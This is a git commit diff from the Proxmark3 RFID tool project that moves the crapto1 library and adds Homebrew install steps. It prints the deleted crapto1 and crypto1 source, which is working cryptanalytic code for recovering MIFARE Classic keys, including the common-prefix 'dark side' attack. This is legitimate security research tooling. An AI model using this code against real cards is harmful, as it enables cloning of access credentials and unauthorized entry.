]> git.zerfleddert.de Git - proxmark3-svn/commitdiff
Merge pull request #235 from marshmellow42/lfdemod_refactors
authorpwpiwi <pwpiwi@users.noreply.github.com>
Tue, 21 Mar 2017 14:38:18 +0000 (15:38 +0100)
committerGitHub <noreply@github.com>
Tue, 21 Mar 2017 14:38:17 +0000 (15:38 +0100)
lfdemod refactor

68 files changed:
COMPILING.txt
armsrc/Makefile
armsrc/crapto1.c [deleted file]
armsrc/crapto1.h [deleted file]
armsrc/crypto1.c [deleted file]
armsrc/iso14443a.c
armsrc/mifarecmd.h
armsrc/mifaresniff.c
armsrc/mifaresniff.h
armsrc/mifareutil.c
armsrc/mifareutil.h
client/Makefile
client/cmdcrc.c
client/cmdhf.c
client/cmdhf14a.c
client/cmdhf14a.h
client/cmdhfepa.c
client/cmdhfmf.c
client/cmdhfmfu.c
client/cmdlfawid.c
client/cmdlfem4x.c
client/cmdlfhitag.c
client/cmdlfpresco.c
client/cmdlfpyramid.c
client/cmdlft55xx.c
client/cmdlfvisa2000.c
client/cmdmain.c
client/flash.c
client/flasher.c
client/hid-flasher/flash.c
client/hid-flasher/flasher.c
client/hid-flasher/proxusb.c
client/loclass/elite_crack.c
client/mifarehost.c
client/mifarehost.h
client/nonce2key.c [new file with mode: 0644]
client/nonce2key.h [new file with mode: 0644]
client/nonce2key/crapto1.c [deleted file]
client/nonce2key/crapto1.h [deleted file]
client/nonce2key/crypto1.c [deleted file]
client/nonce2key/nonce2key.c [deleted file]
client/nonce2key/nonce2key.h [deleted file]
client/obj/crapto1/.dummy [new file with mode: 0644]
client/obj/nonce2key/.dummy [deleted file]
client/proxmark3.c
client/scripting.c
client/scripts/mifare_autopwn.lua
client/sleep.c [deleted file]
client/sleep.h [deleted file]
client/snooper.c
client/ui.c
client/util.c
client/util.h
common/Makefile.common
common/crapto1/crapto1.c [new file with mode: 0644]
common/crapto1/crapto1.h [new file with mode: 0644]
common/crapto1/crypto1.c [new file with mode: 0644]
tools/mfkey/Makefile
tools/mfkey/crapto1.c [deleted file]
tools/mfkey/crapto1.h [deleted file]
tools/mfkey/crypto1.c [deleted file]
tools/mfkey/mfkey32.c
tools/mfkey/mfkey64.c
tools/nonce2key/Makefile [deleted file]
tools/nonce2key/crapto1.c [deleted file]
tools/nonce2key/crapto1.h [deleted file]
tools/nonce2key/crypto1.c [deleted file]
tools/nonce2key/nonce2key.c [deleted file]

index e5abb25fc16dda96fa328dad210308fb7e008325..73201f25c147c9d71815dea8a1182ccef0466dc9 100644 (file)
@@ -81,6 +81,29 @@ Download the ProxSpace environment archive and extract it to C:\
 = Mac OS X =
 ============
 
+Installing from HomeBrew tap
+---------------------------
+This method is recommended and tested on macOS Sierra 10.12.3
+
+1. Install homebrew if you haven't yet already done so: http://brew.sh/
+
+2. Tap proxmark repo:
+    brew tap proxmark/proxmark3 
+
+3. Install Proxmark3:
+
+Stable release
+    brew install proxmark3
+
+Latest non-stable from GitHub (use this if previous command fails)
+    brew install --HEAD proxmark3
+
+For more information go to https://github.com/Proxmark/homebrew-proxmark3
+
+
+Compilling from source manually (Legacy)
+---------------------------
+
 Tested on OSX 10.10 Yosemite
 
 1 - Install Xcode and Xcode Command Line Tools
index 2fbad384e48bb18fdf990ddf804862d9472bfefb..b698d1f25626c90fc751fecc2fe34b76229018c6 100644 (file)
@@ -19,7 +19,7 @@ SRC_LF = lfops.c hitag2.c hitagS.c lfsampling.c pcf7931.c lfdemod.c protocols.c
 SRC_ISO15693 = iso15693.c iso15693tools.c
 SRC_ISO14443a = epa.c iso14443a.c mifareutil.c mifarecmd.c mifaresniff.c
 SRC_ISO14443b = iso14443b.c
-SRC_CRAPTO1 = crapto1.c crypto1.c des.c aes.c
+SRC_CRAPTO1 = crypto1.c des.c aes.c
 SRC_CRC = iso14443crc.c crc.c crc16.c crc32.c
 
 #the FPGA bitstream files. Note: order matters!
diff --git a/armsrc/crapto1.c b/armsrc/crapto1.c
deleted file mode 100644 (file)
index bcd3117..0000000
+++ /dev/null
@@ -1,488 +0,0 @@
-/*  crapto1.c\r
-\r
-       This program is free software; you can redistribute it and/or\r
-       modify it under the terms of the GNU General Public License\r
-       as published by the Free Software Foundation; either version 2\r
-       of the License, or (at your option) any later version.\r
-\r
-       This program is distributed in the hope that it will be useful,\r
-       but WITHOUT ANY WARRANTY; without even the implied warranty of\r
-       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r
-       GNU General Public License for more details.\r
-\r
-       You should have received a copy of the GNU General Public License\r
-       along with this program; if not, write to the Free Software\r
-       Foundation, Inc., 51 Franklin Street, Fifth Floor,\r
-       Boston, MA  02110-1301, US$\r
-\r
-       Copyright (C) 2008-2008 bla <blapost@gmail.com>\r
-*/\r
-#include "crapto1.h"\r
-#include <stdlib.h>\r
-\r
-#if !defined LOWMEM && defined __GNUC__\r
-static uint8_t filterlut[1 << 20];\r
-static void __attribute__((constructor)) fill_lut()\r
-{\r
-       uint32_t i;\r
-       for(i = 0; i < 1 << 20; ++i)\r
-               filterlut[i] = filter(i);\r
-}\r
-#define filter(x) (filterlut[(x) & 0xfffff])\r
-#endif\r
-\r
-static void quicksort(uint32_t* const start, uint32_t* const stop)\r
-{\r
-       uint32_t *it = start + 1, *rit = stop;\r
-       uint32_t tmp;\r
-\r
-       if(it > rit)\r
-               return;\r
-\r
-       while(it < rit)\r
-               if(*it <= *start)\r
-                       ++it;\r
-               else if(*rit > *start)\r
-                       --rit;\r
-               else {\r
-                       tmp = *it;\r
-                       *it = *rit;\r
-                       *rit = tmp;\r
-               }\r
-\r
-       if(*rit >= *start)\r
-               --rit;\r
-       if(rit != start) {\r
-               tmp = *rit;\r
-               *rit = *start;\r
-               *start = tmp;\r
-       }\r
-\r
-       quicksort(start, rit - 1);\r
-       quicksort(rit + 1, stop);\r
-}\r
-/** binsearch\r
- * Binary search for the first occurence of *stop's MSB in sorted [start,stop]\r
- */\r
-static inline uint32_t* binsearch(uint32_t *start, uint32_t *stop)\r
-{\r
-       uint32_t mid, val = *stop & 0xff000000;\r
-       while(start != stop)\r
-               if(start[mid = (stop - start) >> 1] > val)\r
-                       stop = &start[mid];\r
-               else\r
-                       start += mid + 1;\r
-\r
-       return start;\r
-}\r
-\r
-/** update_contribution\r
- * helper, calculates the partial linear feedback contributions and puts in MSB\r
- */\r
-static inline void\r
-update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)\r
-{\r
-       uint32_t p = *item >> 25;\r
-\r
-       p = p << 1 | parity(*item & mask1);\r
-       p = p << 1 | parity(*item & mask2);\r
-       *item = p << 24 | (*item & 0xffffff);\r
-}\r
-\r
-/** extend_table\r
- * using a bit of the keystream extend the table of possible lfsr states\r
- */\r
-static inline void\r
-extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)\r
-{\r
-       in <<= 24;\r
-       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
-               if(filter(*tbl) ^ filter(*tbl | 1)) {\r
-                       *tbl |= filter(*tbl) ^ bit;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl ^= in;\r
-               } else if(filter(*tbl) == bit) {\r
-                       *++*end = tbl[1];\r
-                       tbl[1] = tbl[0] | 1;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl++ ^= in;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl ^= in;\r
-               } else\r
-                       *tbl-- = *(*end)--;\r
-}\r
-/** extend_table_simple\r
- * using a bit of the keystream extend the table of possible lfsr states\r
- */\r
-static inline void extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)\r
-{\r
-       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
-               if(filter(*tbl) ^ filter(*tbl | 1))\r
-                       *tbl |= filter(*tbl) ^ bit;\r
-               else if(filter(*tbl) == bit) {\r
-                       *++*end = *++tbl;\r
-                       *tbl = tbl[-1] | 1;\r
-               } else\r
-                       *tbl-- = *(*end)--;\r
-}\r
-/** recover\r
- * recursively narrow down the search space, 4 bits of keystream at a time\r
- */\r
-static struct Crypto1State*\r
-recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,\r
-       uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,\r
-       struct Crypto1State *sl, uint32_t in)\r
-{\r
-       uint32_t *o, *e, i;\r
-\r
-       if(rem == -1) {\r
-               for(e = e_head; e <= e_tail; ++e) {\r
-                       *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);\r
-                       for(o = o_head; o <= o_tail; ++o, ++sl) {\r
-                               sl->even = *o;\r
-                               sl->odd = *e ^ parity(*o & LF_POLY_ODD);\r
-                               sl[1].odd = sl[1].even = 0;\r
-                       }\r
-               }\r
-               return sl;\r
-       }\r
-\r
-       for(i = 0; i < 4 && rem--; i++) {\r
-               oks >>= 1;\r
-               eks >>= 1;\r
-               in >>= 2;\r
-               extend_table(o_head, &o_tail, oks & 1, LF_POLY_EVEN << 1 | 1,\r
-                                LF_POLY_ODD << 1, 0);\r
-               if(o_head > o_tail)\r
-                       return sl;\r
-\r
-               extend_table(e_head, &e_tail, eks & 1, LF_POLY_ODD,\r
-                                LF_POLY_EVEN << 1 | 1, in & 3);\r
-               if(e_head > e_tail)\r
-                       return sl;\r
-       }\r
-\r
-       quicksort(o_head, o_tail);\r
-       quicksort(e_head, e_tail);\r
-\r
-       while(o_tail >= o_head && e_tail >= e_head)\r
-               if(((*o_tail ^ *e_tail) >> 24) == 0) {\r
-                       o_tail = binsearch(o_head, o = o_tail);\r
-                       e_tail = binsearch(e_head, e = e_tail);\r
-                       sl = recover(o_tail--, o, oks,\r
-                                        e_tail--, e, eks, rem, sl, in);\r
-               }\r
-               else if(*o_tail > *e_tail)\r
-                       o_tail = binsearch(o_head, o_tail) - 1;\r
-               else\r
-                       e_tail = binsearch(e_head, e_tail) - 1;\r
-\r
-       return sl;\r
-}\r
-/** lfsr_recovery\r
- * recover the state of the lfsr given 32 bits of the keystream\r
- * additionally you can use the in parameter to specify the value\r
- * that was fed into the lfsr at the time the keystream was generated\r
- */\r
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)\r
-{\r
-       struct Crypto1State *statelist;\r
-       uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;\r
-       uint32_t *even_head = 0, *even_tail = 0, eks = 0;\r
-       int i;\r
-\r
-       for(i = 31; i >= 0; i -= 2)\r
-               oks = oks << 1 | BEBIT(ks2, i);\r
-       for(i = 30; i >= 0; i -= 2)\r
-               eks = eks << 1 | BEBIT(ks2, i);\r
-\r
-       odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);\r
-       even_head = even_tail = malloc(sizeof(uint32_t) << 21);\r
-       statelist =  malloc(sizeof(struct Crypto1State) << 18);\r
-       if(!odd_tail-- || !even_tail-- || !statelist) {\r
-               free(statelist);\r
-               statelist = 0;\r
-               goto out;\r
-       }\r
-\r
-       statelist->odd = statelist->even = 0;\r
-\r
-       for(i = 1 << 20; i >= 0; --i) {\r
-               if(filter(i) == (oks & 1))\r
-                       *++odd_tail = i;\r
-               if(filter(i) == (eks & 1))\r
-                       *++even_tail = i;\r
-       }\r
-\r
-       for(i = 0; i < 4; i++) {\r
-               extend_table_simple(odd_head,  &odd_tail, (oks >>= 1) & 1);\r
-               extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);\r
-       }\r
-\r
-       in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);\r
-       recover(odd_head, odd_tail, oks,\r
-               even_head, even_tail, eks, 11, statelist, in << 1);\r
-\r
-out:\r
-       free(odd_head);\r
-       free(even_head);\r
-       return statelist;\r
-}\r
-\r
-static const uint32_t S1[] = {     0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,\r
-       0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,\r
-       0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};\r
-static const uint32_t S2[] = {  0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,\r
-       0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,\r
-       0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,\r
-       0x7EC7EE90, 0x7F63F748, 0x79117020};\r
-static const uint32_t T1[] = {\r
-       0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,\r
-       0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,\r
-       0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,\r
-       0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};\r
-static const uint32_t T2[] = {  0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,\r
-       0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,\r
-       0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,\r
-       0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,\r
-       0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,\r
-       0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};\r
-static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};\r
-static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};\r
-/** Reverse 64 bits of keystream into possible cipher states\r
- * Variation mentioned in the paper. Somewhat optimized version\r
- */\r
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)\r
-{\r
-       struct Crypto1State *statelist, *sl;\r
-       uint8_t oks[32], eks[32], hi[32];\r
-       uint32_t low = 0,  win = 0;\r
-       uint32_t *tail, table[1 << 16];\r
-       int i, j;\r
-\r
-       sl = statelist = malloc(sizeof(struct Crypto1State) << 4);\r
-       if(!sl)\r
-               return 0;\r
-       sl->odd = sl->even = 0;\r
-\r
-       for(i = 30; i >= 0; i -= 2) {\r
-               oks[i >> 1] = BEBIT(ks2, i);\r
-               oks[16 + (i >> 1)] = BEBIT(ks3, i);\r
-       }\r
-       for(i = 31; i >= 0; i -= 2) {\r
-               eks[i >> 1] = BEBIT(ks2, i);\r
-               eks[16 + (i >> 1)] = BEBIT(ks3, i);\r
-       }\r
-\r
-       for(i = 0xfffff; i >= 0; --i) {\r
-               if (filter(i) != oks[0])\r
-                       continue;\r
-\r
-               *(tail = table) = i;\r
-               for(j = 1; tail >= table && j < 29; ++j)\r
-                       extend_table_simple(table, &tail, oks[j]);\r
-\r
-               if(tail < table)\r
-                       continue;\r
-\r
-               for(j = 0; j < 19; ++j)\r
-                       low = low << 1 | parity(i & S1[j]);\r
-               for(j = 0; j < 32; ++j)\r
-                       hi[j] = parity(i & T1[j]);\r
-\r
-               for(; tail >= table; --tail) {\r
-                       for(j = 0; j < 3; ++j) {\r
-                               *tail = *tail << 1;\r
-                               *tail |= parity((i & C1[j]) ^ (*tail & C2[j]));\r
-                               if(filter(*tail) != oks[29 + j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       for(j = 0; j < 19; ++j)\r
-                               win = win << 1 | parity(*tail & S2[j]);\r
-\r
-                       win ^= low;\r
-                       for(j = 0; j < 32; ++j) {\r
-                               win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);\r
-                               if(filter(win) != eks[j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);\r
-                       sl->odd = *tail ^ parity(LF_POLY_ODD & win);\r
-                       sl->even = win;\r
-                       ++sl;\r
-                       sl->odd = sl->even = 0;\r
-                       continue2:;\r
-               }\r
-       }\r
-       return statelist;\r
-}\r
-\r
-/** lfsr_rollback_bit\r
- * Rollback the shift register in order to get previous states\r
- */\r
-uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int out;\r
-       uint8_t ret;\r
-       uint32_t tmp;\r
-\r
-       s->odd &= 0xffffff;\r
-       tmp = s->odd;\r
-       s->odd = s->even;\r
-       s->even = tmp;\r
-\r
-       out = s->even & 1;\r
-       out ^= LF_POLY_EVEN & (s->even >>= 1);\r
-       out ^= LF_POLY_ODD & s->odd;\r
-       out ^= !!in;\r
-       out ^= (ret = filter(s->odd)) & !!fb;\r
-\r
-       s->even |= parity(out) << 23;\r
-       return ret;\r
-}\r
-/** lfsr_rollback_byte\r
- * Rollback the shift register in order to get previous states\r
- */\r
-uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int i, ret = 0;\r
-       for (i = 7; i >= 0; --i)\r
-               ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i;\r
-       return ret;\r
-}\r
-/** lfsr_rollback_word\r
- * Rollback the shift register in order to get previous states\r
- */\r
-uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int i;\r
-       uint32_t ret = 0;\r
-       for (i = 31; i >= 0; --i)\r
-               ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);\r
-       return ret;\r
-}\r
-\r
-/** nonce_distance\r
- * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y\r
- */\r
-static uint16_t *dist = 0;\r
-int nonce_distance(uint32_t from, uint32_t to)\r
-{\r
-       uint16_t x, i;\r
-       if(!dist) {\r
-               dist = malloc(2 << 16);\r
-               if(!dist)\r
-                       return -1;\r
-               for (x = i = 1; i; ++i) {\r
-                       dist[(x & 0xff) << 8 | x >> 8] = i;\r
-                       x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;\r
-               }\r
-       }\r
-       return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;\r
-}\r
-\r
-\r
-static uint32_t fastfwd[2][8] = {\r
-       { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},\r
-       { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};\r
-/** lfsr_prefix_ks\r
- *\r
- * Is an exported helper function from the common prefix attack\r
- * Described in the "dark side" paper. It returns an -1 terminated array\r
- * of possible partial(21 bit) secret state.\r
- * The required keystream(ks) needs to contain the keystream that was used to\r
- * encrypt the NACK which is observed when varying only the 3 last bits of Nr\r
- * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3\r
- */\r
-uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)\r
-{\r
-       uint32_t c, entry, *candidates = malloc(4 << 10);\r
-       int i, size = 0, good;\r
-\r
-       if(!candidates)\r
-               return 0;\r
-\r
-       for(i = 0; i < 1 << 21; ++i) {\r
-               for(c = 0, good = 1; good && c < 8; ++c) {\r
-                       entry = i ^ fastfwd[isodd][c];\r
-                       good &= (BIT(ks[c], isodd) == filter(entry >> 1));\r
-                       good &= (BIT(ks[c], isodd + 2) == filter(entry));\r
-               }\r
-               if(good)\r
-                       candidates[size++] = i;\r
-       }\r
-\r
-       candidates[size] = -1;\r
-\r
-       return candidates;\r
-}\r
-\r
-/** check_pfx_parity\r
- * helper function which eliminates possible secret states using parity bits\r
- */\r
-static struct Crypto1State*\r
-check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],\r
-               uint32_t odd, uint32_t even, struct Crypto1State* sl)\r
-{\r
-       uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;\r
-\r
-       for(c = 0; good && c < 8; ++c) {\r
-               sl->odd = odd ^ fastfwd[1][c];\r
-               sl->even = even ^ fastfwd[0][c];\r
-\r
-               lfsr_rollback_bit(sl, 0, 0);\r
-               lfsr_rollback_bit(sl, 0, 0);\r
-\r
-               ks3 = lfsr_rollback_bit(sl, 0, 0);\r
-               ks2 = lfsr_rollback_word(sl, 0, 0);\r
-               ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);\r
-\r
-               nr = ks1 ^ (prefix | c << 5);\r
-               rr = ks2 ^ rresp;\r
-\r
-               good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);\r
-               good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);\r
-               good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);\r
-               good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);\r
-               good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;\r
-       }\r
-\r
-       return sl + good;\r
-}\r
-\r
-\r
-/** lfsr_common_prefix\r
- * Implentation of the common prefix attack.\r
- */\r
-struct Crypto1State*\r
-lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])\r
-{\r
-       struct Crypto1State *statelist, *s;\r
-       uint32_t *odd, *even, *o, *e, top;\r
-\r
-       odd = lfsr_prefix_ks(ks, 1);\r
-       even = lfsr_prefix_ks(ks, 0);\r
-\r
-       s = statelist = malloc((sizeof *statelist) << 20);\r
-       if(!s || !odd || !even) {\r
-               free(statelist);\r
-               statelist = 0;\r
-               goto out;\r
-       }\r
-\r
-       for(o = odd; *o + 1; ++o)\r
-               for(e = even; *e + 1; ++e)\r
-                       for(top = 0; top < 64; ++top) {\r
-                               *o += 1 << 21;\r
-                               *e += (!(top & 7) + 1) << 21;\r
-                               s = check_pfx_parity(pfx, rr, par, *o, *e, s);\r
-                       }\r
-\r
-       s->odd = s->even = 0;\r
-out:\r
-       free(odd);\r
-       free(even);\r
-       return statelist;\r
-}\r
diff --git a/armsrc/crapto1.h b/armsrc/crapto1.h
deleted file mode 100644 (file)
index b144853..0000000
+++ /dev/null
@@ -1,93 +0,0 @@
-/*  crapto1.h
-
-    This program is free software; you can redistribute it and/or
-    modify it under the terms of the GNU General Public License
-    as published by the Free Software Foundation; either version 2
-    of the License, or (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
-    MA  02110-1301, US$
-
-    Copyright (C) 2008-2008 bla <blapost@gmail.com>
-*/
-#ifndef CRAPTO1_INCLUDED
-#define CRAPTO1_INCLUDED
-#include <stdint.h>
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-struct Crypto1State {uint32_t odd, even;};
-void crypto1_create(struct Crypto1State *s, uint64_t key);
-void crypto1_destroy(struct Crypto1State*);
-void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
-uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
-uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
-uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
-uint32_t prng_successor(uint32_t x, uint32_t n);
-
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
-uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
-struct Crypto1State*
-lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]);
-
-uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);
-uint8_t lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb);
-uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb);
-int nonce_distance(uint32_t from, uint32_t to);
-#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
-       uint32_t __n = 0,__M = 0, N = 0;\
-       int __i;\
-       for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
-               for(__i = FSIZE - 1; __i >= 0; __i--)\
-                       if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
-                               break;\
-                       else if(__i)\
-                               __M = prng_successor(__M, (__i == 7) ? 48 : 8);\
-                       else 
-
-#define LF_POLY_ODD (0x29CE5C)
-#define LF_POLY_EVEN (0x870804)
-#define BIT(x, n) ((x) >> (n) & 1)
-#define BEBIT(x, n) BIT(x, (n) ^ 24)
-static inline int parity(uint32_t x)
-{
-#if !defined __i386__ || !defined __GNUC__
-       x ^= x >> 16;
-       x ^= x >> 8;
-       x ^= x >> 4;
-       return BIT(0x6996, x & 0xf);
-#else
-        asm(    "movl %1, %%eax\n"
-               "mov %%ax, %%cx\n"
-               "shrl $0x10, %%eax\n"
-               "xor %%ax, %%cx\n"
-                "xor %%ch, %%cl\n"
-                "setpo %%al\n"
-                "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
-       return x;
-#endif
-}
-static inline int filter(uint32_t const x)
-{
-       uint32_t f;
-
-       f  = 0xf22c0 >> (x       & 0xf) & 16;
-       f |= 0x6c9c0 >> (x >>  4 & 0xf) &  8;
-       f |= 0x3c8b0 >> (x >>  8 & 0xf) &  4;
-       f |= 0x1e458 >> (x >> 12 & 0xf) &  2;
-       f |= 0x0d938 >> (x >> 16 & 0xf) &  1;
-       return BIT(0xEC57E80A, f);
-}
-#ifdef __cplusplus
-}
-#endif
-#endif
diff --git a/armsrc/crypto1.c b/armsrc/crypto1.c
deleted file mode 100644 (file)
index 7476534..0000000
+++ /dev/null
@@ -1,98 +0,0 @@
-/*  crypto1.c
-
-       This program is free software; you can redistribute it and/or
-       modify it under the terms of the GNU General Public License
-       as published by the Free Software Foundation; either version 2
-       of the License, or (at your option) any later version.
-
-       This program is distributed in the hope that it will be useful,
-       but WITHOUT ANY WARRANTY; without even the implied warranty of
-       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-       GNU General Public License for more details.
-
-       You should have received a copy of the GNU General Public License
-       along with this program; if not, write to the Free Software
-       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
-       MA  02110-1301, US
-
-       Copyright (C) 2008-2008 bla <blapost@gmail.com>
-*/
-#include "crapto1.h"
-#include <stdlib.h>
-
-#define SWAPENDIAN(x)\
-       (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
-
-void crypto1_create(struct Crypto1State *s, uint64_t key)
-{
-//     struct Crypto1State *s = malloc(sizeof(*s));
-       int i;
-
-       for(i = 47;s && i > 0; i -= 2) {
-               s->odd  = s->odd  << 1 | BIT(key, (i - 1) ^ 7);
-               s->even = s->even << 1 | BIT(key, i ^ 7);
-       }
-       return;
-}
-void crypto1_destroy(struct Crypto1State *state)
-{
-//     free(state);
-       state->odd = 0;
-       state->even = 0;
-}
-void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
-{
-       int i;
-       for(*lfsr = 0, i = 23; i >= 0; --i) {
-               *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
-               *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
-       }
-}
-uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
-{
-       uint32_t feedin;
-       uint32_t tmp;
-       uint8_t ret = filter(s->odd);
-
-       feedin  = ret & !!is_encrypted;
-       feedin ^= !!in;
-       feedin ^= LF_POLY_ODD & s->odd;
-       feedin ^= LF_POLY_EVEN & s->even;
-       s->even = s->even << 1 | parity(feedin);
-
-       tmp = s->odd;
-       s->odd = s->even;
-       s->even = tmp;
-
-       return ret;
-}
-uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
-{
-       uint8_t i, ret = 0;
-
-       for (i = 0; i < 8; ++i)
-               ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
-
-       return ret;
-}
-uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
-{
-       uint32_t i, ret = 0;
-
-       for (i = 0; i < 32; ++i)
-               ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
-
-       return ret;
-}
-
-/* prng_successor
- * helper used to obscure the keystream during authentication
- */
-uint32_t prng_successor(uint32_t x, uint32_t n)
-{
-       SWAPENDIAN(x);
-       while(n--)
-               x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
-
-       return SWAPENDIAN(x);
-}
index 83907fce18b72c9b5407949c460b5e85d16a593a..76b821411cf4a95b8b860472df8e9231575c1417 100644 (file)
@@ -17,7 +17,7 @@
 #include "cmd.h"
 #include "iso14443crc.h"
 #include "iso14443a.h"
-#include "crapto1.h"
+#include "crapto1/crapto1.h"
 #include "mifareutil.h"
 #include "BigBuf.h"
 #include "protocols.h"
index 3c00a3437b25fc9c48764f96b996a8b2fca86e76..145e29898aa4bff8bd5954c108205c66bcbc6f82 100644 (file)
@@ -20,7 +20,7 @@
 \r
 #include "iso14443crc.h"\r
 #include "iso14443a.h"\r
-#include "crapto1.h"\r
+#include "crapto1/crapto1.h"\r
 #include "mifareutil.h"\r
 #include "common.h"\r
 \r
index 0cc2963bc3a88c7c7854ea11689d75773f3265bf..7f94b0fe7c01ecdbce7a036a1fb94e00cfb1cbb2 100644 (file)
 \r
 #include "mifaresniff.h"\r
 #include "apps.h"\r
+#include "proxmark3.h"\r
+#include "util.h"\r
+#include "string.h"\r
+#include "iso14443crc.h"\r
+#include "iso14443a.h"\r
